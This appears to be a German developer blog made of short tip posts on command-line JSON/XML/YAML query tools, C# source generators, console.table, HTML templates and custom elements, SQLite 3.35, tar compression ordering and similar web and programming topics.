Kennt Ihr jq? Damit könnt Ihr Jsonpath-Querys auf JSON im Terminal werfen. So kann man ganz gut strukturierte Daten in Bash-Skripten verarbeiten.

xq kann das mit XML.

Für YAML gibt es zwei verschiedene, einmal yq (einen jq-Wrapper für XML, YAML und TOML) und yq (jq nur für ausschließlich YAML). Leider haben beide denselben Namen.

Dann gibt es noch q. Mit q kann man SQL-Querys auf CSV-Dateien absetzen.

  • tools

Seit .NET 5 gibt es in C# ein Sprachfeature, mit dem man Code generieren kann, basierend auf dem C#-Code, der schon da ist.

Das öffnet vielen Dingen die Tore, z. B.:

  • Dependency Injection zur Compiletime (statt Runtime); dadurch schnellere Startzeit
  • Spezialisierte (JSON-)Serialisierungs-Typen, die genau einen bestimmten Typen (De-)Serialisieren können
  • Ganz viel Reflection fällt weg

Eigentlich ist Code-Generation gar nicht so toll. Man hat am Ende Zeug, das man nicht ordentlich debuggen kann und im Zerifelsfall ist der Fehler im Code-Generator. Sowas ist auch immer ein Zeichen dafür, dass die Sprache nicht ausdrucksstark genug ist.
Außerdem habe ich bisher schlechte Erfahrungen damit gemacht (ok, eigentlich nur in Java). Da hat man immer mal wieder das Problem, dass generierter Code (z. B. von immutables.org) “noch nicht da ist” und die IDE dann meckert, warum man eine nicht-existente Klasse verwendet (in diesem Fall z. B. der Builder für einen unveränderlichen Typen).

Man sieht aber trotzdem den Use-Case für solche Dinge. Da C# sich aktuell stark darauf hinentwickelt, Ahead-Of-Time-Compile-fähig zu sein, ergibt dieses Feature Sinn. Z.B. ist Reflection bei AOT-Kompilierung ein Dorn im Auge, da man nicht weiß, welche Typen/Codeteile man aus der fertigen Assembly rausschmeißen kann. Man kann außerdem sehr schön optimieren, wenn man konkreten Code mit ordentlichen Typen statt Reflection hat.

Vermutlich werden viele Dinge, die C# vor ein paar Jahren noch als eigenes Feature gebaut hätte, jetzt als Source-Generator implementiert. Letztendlich ist das ja auch nur ein Compiler-Plugin, das Lowering betreibt. Hoffentlich wird es die Sprache nicht allzu krass verwässern. Die Befürchtung habe ich ja schon.

Hier ist eine Liste mit Source-Generatoren, die man sich in einer freien Minute anschauen kann. Viel Zeug dabei, das man nicht braucht. Aber auch viel nützliches.

Der Dienst ist schon etwas älter, aber immer noch hilfreich.

Bei bugmenot.com findet man Login-Credentials zu Webseiten, die einen zum Login zwingen. Erstellt werden die Accounts von (wütenden?) Individuen.
In Firefox könnt Ihr auf dem Suchfeld einfach einen Rechtsklick -> “Add a keyword for this search…” machen. Ich habe das Keyword bug. Wenn ich dann auf bug abc.de gehe, werde ich dort auf die Seite mit den Credentials weitergeleitet.

Falls Ihr doch nicht drum herum kommt, eineen Account zu machen: Nehmt eine Wegwerf-Adresse. Ich meine jetzt nicht eine, die ihr noch irgendwo rumliegen habt. Viel mehr sowas wie 10minutemail, wo man eine E-Mail-Adresse bekommt, die 10 Minuten lang gültig ist, damit man den Aktivierungslink bestätigen kann.

Tragt den erstellten Account dann am Besten bei BugMeNot ein.

Für die Wegwerf-Adressen gibt es noch das Firefox-AddOn Bloody Vikings. Da kann man mit einem Rechtsklick auf ein E-Mail-Feld direkt eine Wegwerf-Adresse eintragen (die Seite mit dem Posteingang öffnet sich dann im Hintergrund). Wird leider nicht mehr so aktiv gewartet. Wer eine Alternative hat. Her damit!

Keine Lust, jedes Mal die Ascii-Tabelle zu googlen?

Versucht es hiermit, hat mein Leben verändert:

man ascii
man utf8

Ein tolles Essay darüber, dass man lieber Libraries, statt Frameworks schreiben soll.

Für die console.log-Debugger: In JS gibt es console.table(), um Arrays (oder auch Objekte, wenn man will) darzustellen (MDN dazu):

console.table(["apples", "oranges", "bananas"]);

Funktionert im Browser und in Node.js. Bei Node bekommt man diese Ausgabe:

Welcome to Node.js v15.11.0.
> // Bei Arrays:
> console.table(["apples", "oranges", "bananas"]);
┌─────────┬───────────┐
│ (index) │  Values   │
├─────────┼───────────┤
│    0    │ 'apples'  │
│    1    │ 'oranges' │
│    2    │ 'bananas' │
└─────────┴───────────┘

> // Bei Objekten:
> console.table({firstName: "Anders", lastName: "Hejlsberg"})
┌───────────┬─────────────┐
│  (index)  │   Values    │
├───────────┼─────────────┤
│ firstName │  'Anders'   │
│ lastName  │ 'Hejlsberg' │
└───────────┴─────────────┘

// Bei Arrays von Objekten:
> console.table([{firstName: "Anders", lastName: "Hejlsberg"}, {firstName: "Guido", lastName: "van Rossum"}])
┌─────────┬───────────┬──────────────┐
│ (index) │ firstName │   lastName   │
├─────────┼───────────┼──────────────┤
│    0    │ 'Anders'  │ 'Hejlsberg'  │
│    1    │  'Guido'  │ 'van Rossum' │
└─────────┴───────────┴──────────────┘

Zum Debuggen oder einfache Skriptausgabe reichts. Und bei Node.js hab ich auch schon ein NPM-Paket für Tabellen in der Konsole damit abgelöst.

Wir hatten ja gestern HTML-Templates. Das Ganze kann man kombinieren oder ersetzen mit Web Components bzw. Custom Elements. Die Idee ist, dass man eine ES6-Klasse von HTMLElement erben lässt und diese Klasse dann am Browser für ein bestimmtes Tag registriert.

Das ist in meinen Augen etwas umständlicher als z. B. in React, aber dafür funktioniert es ohne Frameworks. Vermutlich ist das auch ganz gut für sol
che Frameworks wie React, als Compile-Target.

Ich verlink hier nur mal MDN, statt das riesen Beispiel zu rezitieren: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements

Der CanIUse-Eintrag dazu.

HTML hat Templating über ein template-Tag:

<template id="productrow">
	<tr>
		<td class="record"></td>
		<td></td>
	</tr>
</template>

So kann man komplexere DOM-Teile konstruieren, ohne sich in document.createElement() und .appendChild() zu verlieren. Beispiel aus MDN zu dem Template oben:

const template = document.querySelector('#productrow');

// Clone the new row and insert it into the table
const clone = template.content.firstElementChild.cloneNode(true /* true for deep clone */);
const tds = clone.querySelectorAll("td");
tds[0].textContent = "1235646565";
tds[1].textContent = "Stuff";
tbody.appendChild(clone);

Ist vorallem praktisch, wenn man schmal ohne irgendwelche UI-Frameworks arbeitet. Mehr auf MDN.

Hier hat jemand eine Chart-Plotting-Library gebaut, die ausschließlich mit CSS läuft.

Die Idee: Man listet seine Daten in einer <table>. Bei manchen Diagramm-Typen braucht man noch ein paar Style-Attribute, mit denen man das Verhalten beeinflust.
Anstatt der Tabelle sieht man dann z. B. ein Balkendiagramm.

Das ist nicht nur cool, weil’s ne Alternative zu SVG-Renderings ist. Weil es ja auch nur eine gestylte Tabelle ist, hat man gleich bessere Accessability. Und man kann schnell mal einen Plot prototypen, ohne sich mit D3 oder Chart.js beschäftigen zu müssen.

Falls Ihr gerade 3 Stunden Zeit habt, einen Podcast zu hören:

Lex Fridman redet hier mit Brendan Eich.

Brendan geht auf viele Trivia der Computergeschichte ein und hat gefühlt irgendwie alles einmal gemacht. Natürlich geht es viel um JavaScript, die Visionen, die sie damals alle hatten, und viel Zeug im Hintergrund.

Man erfährt zum Beispiel auch, was ihn damals dazu gebracht hat, Type Coercion (also das nicht immer nachvollziehbare Umwandeln von Typen) in JS zu bauen. Anfangs war JS nämlich “ordentlich”.

Falls Euch Brendan Eich nichts sagt, das ist der, der JavaScript entwickelt hat und lange Zeit der CEO von Mozilla war.

Man kann in HTML den Browser einen DNS-Namen prefetchen lassen. Damit hat er den Namen schon aufgelöst, bevor man die sich dorthin verbinden will:

<link rel="dns-prefetch" href="https://api.example.com" >

MDN dazu

Heutzutage stellen sich viele ein ganzes Cluster hin, um eine Webseite mit 0.3 Requests pro Sekunde zu betreiben. Die ganze Schiene mit K8s etc., also horizontaler Skalierung (“mehr Maschinen”) und ganz viele Micro-Services. Sowas hat auch ein paar Nachteile, wie z. B., dass der Wartungsoverhead schnell sehr hoch wird.

Vielleicht ist manchen gar nicht bewusst, wie viel man mit vertikaler Skalierung (also z. B. “mehr RAM in die Maschine”) eigentlich erreichen kann. Gerade bin ich auf ein schönes Beispiel gestoßen, das man vielleicht einigen mal zeigen sollte: StackOverflow bzw. StackExchange hat gerade mal 9 Webserver und 2 dicke Datenbankserver. Einen für StackOverflow, einen für die restlichen StackExchange-Seiten.
Da habe ich schon deutlich aufgeblähtere Stacks mit einer nicht ansatzweise vergleichbaren Last gesehen als das, was StackOverflow da fährt.

Beim komprimieren von tar-Dateien kann man deutlich unterschiedliche Ergebnisse bekommen.
Offenbar ist die Reihenfolge, in der die Dateien in einer tar landen, bei GNUs und BSDs tar nicht definiert.

Wenn man jetzt Dateien hat, die ähnlicheren Inhalt aufweisen, je “näher” die Dateinamen sind, kann man mehr Kompression rausholen.

Bei GNUs tar gibt’s dafür --sort und sorgt bei einem Nutzer hier für 15-facher besserer Kompression.

Ggf. ist es sogar sinnvoll, die Dateien umzubenennen, sodass die Extension vorne steht. So kann die Kompression die gleichen Datei-Header direkt besser komprimieren.

Aus der Serie “was, sowas gibt’s?”, heute:

Einen HTTP-Header, mit dem man dem Browser bittet, den Local-/Session-/IndexDB-Storage, die Cookies und den Cache zu löschen.

Man entdeckt ja immer wieder Sachen in der IT, die man (bisher) nirgends gesehen hat, aber eigentlich ziemlich praktisch sind oder ein Problem auf eine andere Art lösen.

Für HTML hab ich heute:
Die Attribute ping, hreflang und download beim a-Tag.

Habe eine mehr oder weniger große Liste, die sich über die Jahre angesammelt hat. Diese werde ich in ein paar Blog-Posts umwandeln. Also nicht wundern, wenn mal eine API dabei ist, die schon etwas älter ist.

Ich bin ja ein großer Fan von SQLite. Davon kam gerade Version 3.35.0 raus.
Das ist für mich ein richtig großartiges Release. Kurzer Auszug:

  • Ein paar Mathe-Funktionen
  • ALTER TABLE DROP COLUMN (vorher musste man die Tabelle in eine neue kopieren)
  • RETURNING-Keyword für schreibende Operationen (DELETE/INSERT/UPDATE), bei dem die entsprechedne Zeile zurückgegeben wird
  • Materialized CTEs

Bis auf die Mathe-Funktionen sind das alles Game-Changer für mich.

Dieses TC39-Proposal ist gerade relativ aktiv.
Es bringt immutable Types und Form von Tupeln und Records.

Bin sehr gespannt, was da rum kommt.
Bisher sieht es vielversprechend aus.
U. A. haben wir dann die Möglichkeit, Tupel und Records als Keys in einer ES-Map zu nehmen (und dann natürlich kann man sie dann auch ordentlich mit Sets verwenden).
Die JS-Engines können dann auch sicher noch besser optimieren.

Falls Ihr ein neues C/C++-Projekt anlegt und Euch fragt, welche Compiler-Flags Ihr so gesetzt haben solltet.
Hier schreibt RedHat was darüber.
Ihr solltet natürlich schauen, dass die Flags zu Eurem Vorhaben passen.
Für Embededed-Software gibt’s hier auch einen Eintrag.

Wer noch andere kennt oder Verbesserungen hat, her damit!